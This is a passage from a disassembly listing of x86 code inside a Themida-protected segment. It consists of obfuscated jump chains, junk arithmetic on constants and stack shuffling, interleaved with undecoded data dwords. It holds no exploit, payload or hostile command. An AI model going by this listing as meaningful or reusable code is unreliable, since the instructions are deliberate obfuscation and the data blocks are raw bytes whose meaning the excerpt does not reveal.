		dd 241C8BDFh, 4C481h, 0C5810000h, 3DDC5536h, 5A6AC581h
		dd 0FD0174DEh, 5A6AED81h, 0B95174DEh, 3DDC5536h, 0FFA36EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516401:				; CODE XREF: Themida_:0051CFEFj
		and	esi, 4B3A0D50h
		neg	esi
		shl	esi, 7
		add	esi, 28224327h
		neg	esi
		xor	esi, 6054B2D8h
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_517C27
; ---------------------------------------------------------------------------
		dd 212FB951h, 0CB8978F2h, 5BDD2959h, 2C8BE901h,	0EC835324h
		dd 0A329E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51643E:				; CODE XREF: Themida_:005182A3j
		pop	ecx
		pop	esi
		sub	ebp, 3A5C5174h
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		jmp	loc_512A0A
; ---------------------------------------------------------------------------


loc_516451:				; CODE XREF: Themida_:005193BEj
		sub	ecx, 274E2A2Ah
		sub	ecx, 57172DAAh
		add	ecx, ebp
		add	ecx, 57172DAAh
		jmp	loc_50E35D
; ---------------------------------------------------------------------------


loc_51646A:				; CODE XREF: Themida_:005159ECj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51E65D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 241C8924h, 0F7803AB7h, 2EC811Dh, 66000000h
		dd 0E9240C89h, 8EE1h, 3916950Dh, 0AB01E95Ah, 0D8F7FFFFh
		dd 0C9583548h, 0C3894D84h, 8324048Bh, 0B85004C4h, 1CC91F12h
		dd 6472E9h
		db 0
; ---------------------------------------------------------------------------


loc_5164B9:				; CODE XREF: Themida_:00510BB4j
		pop	esi
		sub	ebx, edi
		jmp	loc_51F941
; ---------------------------------------------------------------------------


loc_5164C1:				; CODE XREF: Themida_:00520D83j
		sub	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_510898
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 541DE904h, 55A0000h, 20C59133h, 0FFF649E9h
		dd 240481FFh, 4, 0E92434FFh, 0FFFF5B06h, 815EF701h, 6803B2F7h
		dd 8BFA01DCh, 0C481243Ch, 4, 148B0203h,	4C48124h, 68000000h
		dd 77D7h, 0E9240489h, 0FFFF50C9h, 0ED668h, 24048900h, 8951D889h
		dd 59CF89C1h, 0FF7EE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516531:				; CODE XREF: Themida_:0051F664j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50B7C2
; ---------------------------------------------------------------------------


loc_516541:				; CODE XREF: Themida_:0051EF5Dj
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 203F0E64h
		jmp	loc_513ED9
; ---------------------------------------------------------------------------
		db 88h
		dd 0D98851EBh, 88CB8853h, 5B595BDEh, 241C8B59h,	8004C483h
		dd 0EC81A9E6h, 4, 0B7241C89h, 0AFCF801Dh, 0FEBFC780h, 80F780C7h
		dd 28D0C680h, 0D0EE80FEh, 5B2434FFh, 4C481h, 0A7E90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5165B3:				; CODE XREF: Themida_:0050CD62j
		sub	dword ptr [esp+4], 4AF760A5h
		add	[esp+4], ebx
		push	esi
		mov	esi, 4AF760A5h
		jmp	loc_50BD96
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0FEF7B224h, 67E952C2h, 290000A5h, 5E959CEh, 81FFFFFDh
		dd 2E29DAC7h, 84C7817Ch, 5E7C0437h, 3304EF83h, 3C31243Ch
		dd 243C3324h, 0E924248Bh, 0FFFFB568h, 4C481h, 0E9570000h
		dd 8E18h, 74FF555Ah, 8F5D0424h,	8EE92404h, 4000010h, 66D828D3h
		dd 3E6E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516626:				; CODE XREF: Themida_:005132FBj
		pop	ecx
		add	ecx, 0F024BBE5h
		add	ebx, ecx
		pop	ecx
		push	3817h
		mov	[esp], edi
		jmp	loc_516A5A
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 66h
		dd 2246C81h, 81661979h,	0D202246Ch, 6C81660Fh, 41B80224h
		dd 195E9h, 4F28100h, 8149E301h,	344F58EAh, 8CCCE9BDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51666A:				; CODE XREF: Themida_:0050DF60j
		xor	ebx, 4E756DC6h
		sub	ebx, 38281D57h
		sub	ebx, 0EB8B0E27h
		jmp	loc_51533C
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0E9241433h, 8548h
; ---------------------------------------------------------------------------


loc_51668C:				; CODE XREF: Themida_:0051D0E6j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51E178
; ---------------------------------------------------------------------------


loc_5166A6:				; CODE XREF: Themida_:005203FEj
		xor	ch, 44h
		xor	dl, ch
		pop	ecx
		or	dl, 0
		xor	dl, 0C9h
		jmp	loc_51DC0F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E2E92434h, 83FFFFE9h, 0E6C1FFEEh, 6CF68107h, 310DB86Eh
		dd 0D7015EF2h, 5A2434FFh, 0FF6E5DE9h, 0EC815AFFh, 4, 0BB241C89h
		dd 4, 0BFE9DA01h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5166EF:				; CODE XREF: Themida_:005199B9j
		pop	eax
		add	edi, 64B005C6h
		add	edi, ecx
		sub	edi, 64B005C6h
		mov	ecx, [esp]
		add	esp, 4
		push	53F6h
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_51AB59
; ---------------------------------------------------------------------------
		dw 27B3h
		dd 8079B252h, 65E95EC2h, 81FFFFE5h, 1E3F39C3h, 0B2D6E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516742:				; CODE XREF: Themida_:00512449j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5159DD
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9000068h, 0FFFF687Ch, 0E9CB315Fh, 0FFFF5ADDh, 0BE56C101h
		dd 63665225h, 2D3DF681h, 0F6816CE1h, 4C162915h,	4FDEE9h
		dd 4EC8100h, 54000000h,	0FF8487E9h, 0F8BE56FFh,	132BF3Fh
		dd 0F0015EF0h, 5DCD68h,	24348900h, 0FFD6D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516799:				; CODE XREF: Themida_:0050D35Ej
		push	edx
		jmp	loc_51D8ED
; ---------------------------------------------------------------------------
		db 50h
		dd 157207B8h, 99CEE948h, 15D0000h, 81525AD5h, 4ECh, 242C8900h
		dd 9124DF68h, 242C8B3Ah, 4C481h, 0D0E90000h, 88FFFF8Fh
		dd 5AF788CEh, 83240C8Bh, 516604C4h, 824FE9h, 0D7E18100h
		dd 0E94B671Ah, 4D41h, 7997E953h, 8166FFFFh, 3E022444h
		dd 1497E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5167FA:				; CODE XREF: Themida_:0051209Dj
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_51771D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0F5D7E95Fh, 0E768FFFFh, 89000049h, 0BE56241Ch, 61A63AC7h
		dd 75ABA52h, 0E2813659h, 147F3777h, 0FD52EA81h,	0D6310B8Ah
		dd 0C3EE815Ah, 89696830h, 24348BF3h, 4C481h, 0DD010000h
		dd 81241C8Bh, 4C4h, 0A823E900h,	0CAB90000h, 68201D59h
		dd 4F8Bh, 68242C89h, 0A093AE3h,	0BBED815Dh, 89CED2DAh
		dd 0A18EE9EBh, 8B66FFFFh, 0EC83240Ch, 24048904h, 659D68h
		dd 48F5400h, 24048124h,	4, 0E9515558h, 236h
; ---------------------------------------------------------------------------


loc_516894:				; CODE XREF: Themida_:005109B6j
		sub	ebx, 26DB7254h
		jmp	loc_51EA7F
; ---------------------------------------------------------------------------


loc_51689F:				; CODE XREF: Themida_:0050CFE1j
		mov	ecx, 0FF6FFB98h
		xor	esi, ecx
		jmp	loc_512AB7
; ---------------------------------------------------------------------------


loc_5168AB:				; CODE XREF: Themida_:0050F9F2j
		mov	ebx, [esp]
		jmp	loc_51DF3D
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 4AEDh, 56243489h,	0BD55E689h, 4, 356BC681h
		dd 0EE0105E4h, 356BEE81h, 0E95D05E4h, 81FEh, 8102C283h
		dd 4ECh, 5878E900h, 0F581FFFFh,	49F1F6B7h, 0E95DEB29h
		dd 9366h, 104C483h, 73DCE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516902:				; CODE XREF: Themida_:00519DDFj
		mov	ecx, 362F5A04h
		sub	ecx, 4E973D67h
		push	ebx
		mov	ebx, 38273BCAh
		sub	ebx, 1
		neg	ebx
		inc	ebx
		inc	ebx
		not	ebx
		jmp	loc_50CE7F
; ---------------------------------------------------------------------------
		dd 0B436C381h, 5D53560Dh, 8BEF295Bh, 0C483242Ch, 0DF71E904h
		dd 1489FFFFh, 0D9BB5324h, 0BA1A2A74h, 0BDDAFB0h, 525BDA01h
		dd 0F7243C87h, 0A659E9D7h, 3C8BFFFFh, 4C48124h,	81000000h
		dd 4C7h, 2B95100h, 81000000h, 296C99C7h, 0B6B95176h, 0E97A272Dh
		dd 46FDh, 0F91B3BBFh, 5FFB015Eh, 0FF9324E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516989:				; CODE XREF: Themida_:0051A630j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_518A03
; ---------------------------------------------------------------------------
		dd 4EB81h, 1C870000h, 3C895C24h, 24048124h, 70FA2AF7h
		dd 83240C8Bh, 0BF5704C4h, 70FA2AF7h, 0E95FF929h, 93A1h
		dd 4C5835Ch, 8B242C87h,	1AE92424h, 68FFFF4Ch, 3BA1h, 68240C89h
		dd 4CDEh, 81242C89h, 4ECh, 241C8900h, 0E161A9BBh, 0DF895718h
		dd 5B5FFD89h, 36E9E989h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5169F7:				; CODE XREF: Themida_:00515653j
		mov	[esp], edx
		jmp	loc_510EFF
; ---------------------------------------------------------------------------
		db 68h
		dd 53751C4Dh, 0E924048Bh, 0FFFFB3B1h, 0E828D3B5h, 16EFE9h
		dd 24343100h, 0E9243433h, 0FFFF574Ah
; ---------------------------------------------------------------------------


loc_516A20:				; CODE XREF: Themida_:0051E774j
		mov	ebx, 2D445341h
		not	ebx
		jmp	loc_50BD53
; ---------------------------------------------------------------------------
		dd 1805EF81h, 315A0471h, 99A9E9F8h, 0E4BE0000h,	297C1605h
		dd 0DA055EF0h, 5215CE68h, 8C1FC8BAh, 0FFC2815Bh, 0F7FFFFFFh
		dd 6C24E9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516A5A:				; CODE XREF: Themida_:00516638j
		mov	edi, 4
		add	ebx, 31773BA4h
		sub	ebx, 126C419Bh
		sub	ebx, edi
		add	ebx, 126C419Bh
		sub	ebx, 31773BA4h
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50F759
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0C188E1B0h, 8324048Bh, 536604C4h, 0F607B050h, 0E99AE9D8h
		dd 2C87FFFFh, 3C335C24h, 243C3124h, 8B243C33h, 88642424h
		dd 0B655E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516ABA:				; CODE XREF: Themida_:00510DAAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50BE86
; ---------------------------------------------------------------------------


loc_516AC5:				; CODE XREF: Themida_:00520D8Ej
		jmp	loc_51EB35
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0E9830000h, 4E70E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516ADA:				; CODE XREF: Themida_:0050DEE7j
		add	ecx, 4
		push	ebp
		mov	ebp, 22D55CB4h
		sub	ebp, 4756C1Ch
		sub	ebp, 1
		sub	ebp, 1E5810A3h
		sub	ebp, 9E2543Eh
		push	eax
		mov	eax, 1DEE6025h
		shl	eax, 6
		shl	eax, 8
		and	eax, 7337425h
		xor	eax, 55263B5Dh
		sub	eax, 0FFFFFFFFh
		sub	eax, 5F01EFACh
		xor	ebp, eax
		pop	eax
		jmp	loc_512336
; ---------------------------------------------------------------------------
		db 89h,	0DFh, 5Bh
		dd 5005EFC1h, 23295AB8h, 38260516h, 0F7407E37h,	821B2DD8h
		dd 0C731299Fh, 0FFB3C9E9h, 3869BFFFh, 0FB010055h, 83243C8Bh
		dd 0EB2904C4h, 3869EB81h, 24E90055h, 0B8FFFF7Ah, 25BE1738h
		dd 0FF4FF2E9h, 578BBDFFh, 0F5815742h, 24A92A9Ah, 0C14DDDF7h
		dd 0ED8106EDh, 0A412EAC6h, 585DEB01h, 5EF4CB81h, 0D3F70878h
		dd 0FFF679E9h, 241C87FFh, 0DA2FE95Ch, 0BD66FFFFh, 896630CFh
		dd 0E95D66E9h, 0FFFFC81Ch, 0E9243C29h, 0FFFF9777h, 8B2434FFh
		dd 0C4832404h, 62F56804h, 0C890000h, 0E9E18924h, 0FFFFBAA1h
		dd 4C481h, 0B6680000h, 89000065h, 8BD242Ch, 0C14AB20Fh
		dd 0EDC106EDh, 0E9505304h, 62DFh, 6AFDE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_516BEA:				; CODE XREF: Themida_:0051E932j
		or	edi, 386C387Ah
		or	edi, 64CE5A92h
		dec	edi
		neg	edi
		sub	edi, 3971057Ch
		xor	esi, edi
		pop	edi
		sub	eax, 4309338Ah
		add	eax, esi
		jmp	loc_51AC45
; ---------------------------------------------------------------------------


loc_516C0E:				; CODE XREF: Themida_:00510414j
		add	esp, 4
		push	esi
		mov	esi, 5B491A0Dh
		xor	esi, 0EE87ABDh
		and	esi, 1BCB67FEh
		add	esi, 14F83081h
		not	esi
		inc	esi
		shr	esi, 4
		push	ecx
		jmp	loc_513E3C
; ---------------------------------------------------------------------------
		dd 0C5815E5Ah, 4, 0FFCF7FE9h, 0D7E956FFh
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516C4B:				; CODE XREF: Themida_:0050D94Bj
		add	dword ptr [esp+4], 3B9C355Ah
		jmp	loc_5109D6
; ---------------------------------------------------------------------------
		dd 4849C381h, 0BE56413Bh, 19DC272Fh, 2442CE81h,	0E6813598h
		dd 579D00EAh, 5530C681h, 0F33126BBh, 0FFB969E9h, 0CEF81FFh
		dd 0E908A212h, 7441h, 81243C8Bh, 4C4h, 3DBA6800h, 1C890000h
		dd 4BB24h, 0D4E90000h, 5CFFFF4Eh, 4EC81h, 18E90000h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_516CAF:				; CODE XREF: Themida_:0051F572j
		push	ebp
		mov	ebp, 69520961h
		neg	ebp
		add	ebp, 77A8240Eh
		neg	ebp
		jmp	loc_512814
; ---------------------------------------------------------------------------


loc_516CC4:				; CODE XREF: Themida_:00513021j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_51100A
; ---------------------------------------------------------------------------


loc_516CD7:				; CODE XREF: Themida_:00514D0Bj
		add	edi, edx
		jmp	loc_520E34
; ---------------------------------------------------------------------------


loc_516CDE:				; CODE XREF: Themida_:00519C31j
		push	ebx
		push	34DDh
		mov	[esp], edx
		mov	edx, 170C5B55h
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_51D4F0
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 52580000h, 4BAh, 0C5FE900h, 0D5010000h, 0FFFF1FE9h
		dd 0CEE81FFh, 12A5F27h,	0CC681EEh, 502A5F27h, 0EE76AFB8h
		dd 2E0C176h, 2E8C140h, 28ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_516D39:				; CODE XREF: Themida_:00518E32j
		shr	ecx, 8
		add	ecx, 23A124BCh
		inc	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0DC018040h
		add	ecx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 392D1B63h
		add	eax, ecx
		push	ebx
		mov	ebx, 6E265102h
		sub	ebx, 56785CD9h
		dec	ebx
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 50DB0F8Ah
		jmp	loc_513E9E
; ---------------------------------------------------------------------------
		dd 12Dh, 0D1BE5600h, 12DD13Dh, 24348BF0h, 4C481h, 18350000h
		dd 0F7C3EB86h, 2E0C1D0h, 0D17C8205h, 57550539h,	0EE81DE9Bh
		dd 60B4187Eh, 0C681C629h, 60B4187Eh, 0FFBA64E9h, 816EB1FFh
		dd 4ECh, 24148900h, 0FFF9F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_516DD5:				; CODE XREF: Themida_:0050F407j
		push	293Fh
		mov	[esp], ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		push	esp
		jmp	loc_51A93D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 8Ah
		dd 5E737C15h, 0F281D2F7h, 3671518Ch, 0E95AD501h, 0FFFFBD21h
; ---------------------------------------------------------------------------


loc_516E08:				; CODE XREF: Themida_:0050BD61j
		xor	ebx, 0EF733FDBh
		mov	eax, ebx
		pop	ebx
		jmp	loc_514222
; ---------------------------------------------------------------------------
		dw 0F289h
		dd 81A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_516E1D:				; CODE XREF: Themida_:0051D6B6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 509D77C3h
		sub	edi, ecx
		pop	ecx
		jmp	loc_51DF45
; ---------------------------------------------------------------------------
		db 5Fh
		dd 71BBCA81h, 0CA8144A8h, 3A694B8Ch, 4F28142h, 1FFE9FCh
		dd 28685AD1h, 89000012h, 0B5BA2414h, 5629E038h,	0BEh, 89D62900h
		dd 8B3EE9F2h, 0C6810000h, 0A065BA4h, 4053C681h,	0EE014B40h
		dd 4053EE81h, 0EE814B40h, 0A065BA4h, 5207E9h, 57E38900h
		dd 581B6852h, 815A07FAh, 2B7A2ACAh, 4EC816Eh, 89000000h
		dd 0BBB241Ch, 817F7619h, 670FA8E3h, 7784E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516EAE:				; CODE XREF: Themida_:0050BCA4j
		mov	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 713C2BE5h
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 1D04642Dh
		dec	eax
		push	edi
		jmp	loc_50D233
; ---------------------------------------------------------------------------
		dw 0CE68h
		dd 8900002Bh, 74FF241Ch, 8E90424h, 5AFFFF7Ch, 1C8BFD88h
		dd 0F483E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_516EFA:				; CODE XREF: Themida_:0051E8D6j
		pop	eax
		add	ebx, 4A1818E8h
		add	ebx, eax
		sub	ebx, 4A1818E8h
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_51E832
; ---------------------------------------------------------------------------


loc_516F13:				; CODE XREF: Themida_:0050C8C7j
		mov	ch, 2Dh
		jmp	loc_5131D2
; ---------------------------------------------------------------------------


loc_516F1A:				; CODE XREF: Themida_:0050E320j
		push	esi
		jmp	loc_50E1D4
; ---------------------------------------------------------------------------
		dd 82C680h, 48B5AF7h, 4C48324h,	1C8BF830h, 4C48324h, 51E368h
		dd 24148900h, 0E2C018B2h, 4E79E907h, 0C87FFFFh,	240C8B24h
		dd 4C481h, 0E9D10000h, 0E1C1D9F7h, 0BD11E908h, 0D731FFFFh
		dd 3EBE565Ah, 0D16CB115h, 35EE81EEh, 0E9574D4Eh, 549Dh
; ---------------------------------------------------------------------------


loc_516F74:				; CODE XREF: Themida_:0050EBE4j
		push	ebx
		pop	esi
		push	7CB7h
		mov	[esp], esi
		push	4080h
		mov	[esp], ebx
		mov	ebx, 4BD12DF9h
		sub	[esp+4], ebx
		pop	ebx
		pop	edi
		jmp	loc_50C1E8
; ---------------------------------------------------------------------------
		dw 0BEBFh
		dd 0E9235276h, 0FFFF6A2Ch
; ---------------------------------------------------------------------------


loc_516FA0:				; CODE XREF: Themida_:0051CA25j
		pop	edx
		xor	esi, 60A74879h
		add	ebp, esi
		jmp	loc_51D9CD
; ---------------------------------------------------------------------------


loc_516FAE:				; CODE XREF: Themida_:0051D4B2j
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		push	17F5h
		mov	[esp], edx
		mov	dl, 0EDh
		jmp	loc_52021E
; ---------------------------------------------------------------------------
		dd 65F18149h, 81018854h, 2B7533C5h, 0F9C58134h,	12BCF10h
		dd 0F9ED81CDh, 0E92BCF10h, 560Fh
; ---------------------------------------------------------------------------


loc_516FE4:				; CODE XREF: Themida_:00520D52j
		add	edx, 6A7961CAh
		add	edi, 4828553Bh
		jmp	loc_51B549
; ---------------------------------------------------------------------------
		dd offset dword_529868
		align 2
		dw 0C89h
		dd 0FE5DB124h, 0A1C980C1h, 0E980C1FEh, 0C0F180DFh, 4F1668h
		dd 240C8900h, 0E9F3B353h, 0FFFF7CE5h
; ---------------------------------------------------------------------------


loc_51701C:				; CODE XREF: Themida_:00511C5Fj
		sub	[esp+8], esi
		jmp	loc_51B0A9
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 62h
		dd 8B5AF000h, 0C483240Ch, 4EC8304h, 0B7241C89h,	176866D6h
		dd 0D37EE917h, 0C781FFFFh, 39493405h, 0FFE2ABE9h, 0E94A5EFFh
		dd 386h, 592BDBDh, 0BCC281B6h, 12FB876h, 7E5AE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_517066:				; CODE XREF: Themida_:005204AFj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_51EC67
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd offset dword_450050+0C318h
		dd 0B391E900h, 6851FFFFh, 11211E2Bh, 0EC835059h, 242C8904h
		dd 0DD5D4EBDh, 33AB82Bh, 0E80142F8h, 0E9C1015Dh, 0FFFF4C8Fh
; ---------------------------------------------------------------------------


loc_5170A4:				; CODE XREF: Themida_:0051302Dj
		pop	edi
		add	ebp, 0FFFFFFFFh
		not	ebp
		not	ebp
		push	esi
		mov	esi, 2AF45FC9h
		shl	esi, 1
		sub	esi, 813EFEC5h
		jmp	loc_50F3E3
; ---------------------------------------------------------------------------
		dw 0F701h
		dd offset loc_5047E9
		dd 0D9C18100h, 16BA4FDh, 2324E9C8h, 74FF0000h, 0E95F0424h
		dd 7AA4h, 0E2BA5253h, 0E913C961h, 1E9Dh, 4333BF57h, 0E9472E00h
		dd 0FFFF4F21h, 51F1EA81h, 38E9729Ch, 57FFFF80h,	7A2931BFh
		dd 0FE685177h, 8900005Ch, 84BB241Ch, 4328E057h,	753E9h
		db 0
; ---------------------------------------------------------------------------


loc_51711D:				; CODE XREF: Themida_:0051AA06j
		add	[esp+4], ebx
		jmp	loc_517E17
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 279D7913h, 4C95EF81h, 0FB29BC24h, 83243C8Bh,	0C32904C4h
		dd 2C7EC381h, 0E9576B79h, 0FFFFF834h, 4EC81h, 14890000h
		dd 0DFE5E924h, 668FFFFh, 89000059h, 5B54241Ch, 558768h
		dd 0BE84E900h, 158FFFFh, 0FF04247Ch, 3C8B2434h,	8729E924h
		dd 0F5810000h, 79BADF5Ah, 0A7BE9h, 0D8015A00h, 4EC815Bh
		dd 89000000h, 2BA2414h,	2D000000h, 514F5904h, 405D001h
		dd 0FF514F59h, 148B2434h, 5A545224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FFB20FE9h, 26855FFh, 5D2D9036h, 1ED81h
		dd 0ED810000h, 2D9035FDh, 4EC81h, 2C890000h, 815D5F24h
		dd 6A5C2DC1h, 81F92940h, 6A5C2DE9h, 6402E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5171F2:				; CODE XREF: Themida_:0050FC01j
		push	eax
		mov	eax, 1
		jmp	loc_511421
; ---------------------------------------------------------------------------


loc_5171FD:				; CODE XREF: Themida_:0051FCBAj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_51C783
; ---------------------------------------------------------------------------
aPYLXhn		db 'Py;L#!Xh]',0
		align 2
		dw 44E9h
		dd 89FFFF72h, 0D1E959CBh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51722B:				; CODE XREF: Themida_:00520CF7j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_50E7E8
; ---------------------------------------------------------------------------
		db 57h,	81h, 0ECh
		dd 4, 47A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_51724D:				; CODE XREF: Themida_:0050F3DEj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_51189E
; ---------------------------------------------------------------------------


loc_517258:				; CODE XREF: Themida_:00516172j
		shr	edi, 5
		push	7168h
		jmp	loc_50CB31
; ---------------------------------------------------------------------------


loc_517265:				; CODE XREF: Themida_:0051BEC8j
		push	esi
		mov	esi, 56724CB4h
		xor	eax, esi
		pop	esi
		push	62F7h
		mov	[esp], esi
		push	ecx
		push	edi
		mov	edi, 4D7B71E0h
		or	edi, 4D1A2DEFh
		jmp	loc_51C0DF
; ---------------------------------------------------------------------------
		dd 3784EF81h, 0EF817C04h, 7C2E29DAh, 44E9F701h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51729B:				; CODE XREF: Themida_:00512F18j
		and	edi, 7FAB384Fh
		add	edi, 7D7A4855h
		add	edi, 0F396D459h
		add	ebp, 2107944h
		sub	ebp, edi
		jmp	loc_50EF75
; ---------------------------------------------------------------------------


loc_5172BA:				; CODE XREF: Themida_:0050F4BAj
		mov	[esp], eax
		push	ecx
		mov	ecx, 62243C51h
		xor	ecx, 6C0231F4h
		add	ecx, 6D3320CBh
		push	ecx
		pop	eax
		pop	ecx
		jmp	loc_50D8AE
; ---------------------------------------------------------------------------
		db 68h
		dd 6317h, 24048F54h, 0FFC4A5E9h, 7C51BAFFh, 0D7293BE7h
		dd 7B60E9h
		db 0
; ---------------------------------------------------------------------------


loc_5172F1:				; CODE XREF: Themida_:00510585j
		mov	ecx, esp
		push	edi
		mov	edi, 638F3628h
		shr	edi, 3
		or	edi, 1122655Bh
		jmp	loc_51205E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0CD14E959h, 2C89FFFFh, 38426824h, 2C8B7D24h,	4C48124h
		dd 0F7000000h, 0CD8145D5h, 6BEA6630h, 9A4AC581h, 0EF89B581h
		dd 2AC7815Dh, 0E9429E63h, 0FFFF535Fh
; ---------------------------------------------------------------------------


loc_51733C:				; CODE XREF: Themida_:00512F20j
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 6D2C2127h
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 52CA0BAAh
		shl	ebx, 5
		not	ebx
		xor	ebx, 948A1AF8h
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_50BB91
; ---------------------------------------------------------------------------


loc_517364:				; CODE XREF: Themida_:0050B9A5j
		pop	ecx
		push	5E5Dh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 71h
		push	bx
		push	edx
		mov	dl, ah
		mov	bh, dl
		jmp	loc_5178D1
; ---------------------------------------------------------------------------
		dd 81DEF758h, 3BE44BF6h, 5EF389CEh, 457ABD55h, 0EB215192h
		dd 76C5E95Dh, 0DE310000h, 0FF56F331h, 315E240Ch, 31DE31F3h
		dd 0B1F381F3h, 0C15DC56Bh, 0B85003E3h, 2E712D0Fh, 0C5CFF72Dh
		dd 0E9C331A7h, 5C2Ch
; ---------------------------------------------------------------------------


loc_5173C8:				; CODE XREF: Themida_:0050D29Cj
		xor	ebx, [esp]
		pop	esp
		push	4640h
		mov	[esp], ebp
		push	esp
		jmp	loc_50C485
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 48865DCh, 0FF646BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5173E5:				; CODE XREF: Themida_:0050F3E9j
		add	edi, 4
		jmp	loc_513449
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240481h,	8B000000h, 2FE92414h, 89FFFFE8h
		dd 0E2892414h, 4C281h, 0C2810000h, 4, 5C241487h, 0E9240C33h
		dd 0FFFFDDE1h, 4C181h, 0C870000h, 0EC815C24h, 4, 0E9240C89h
		dd 1285h, 5F2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_510C1A
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FFFC81E9h, 46DFBFFFh, 0FE313A55h, 0CAB8505Fh, 10D4C4Fh
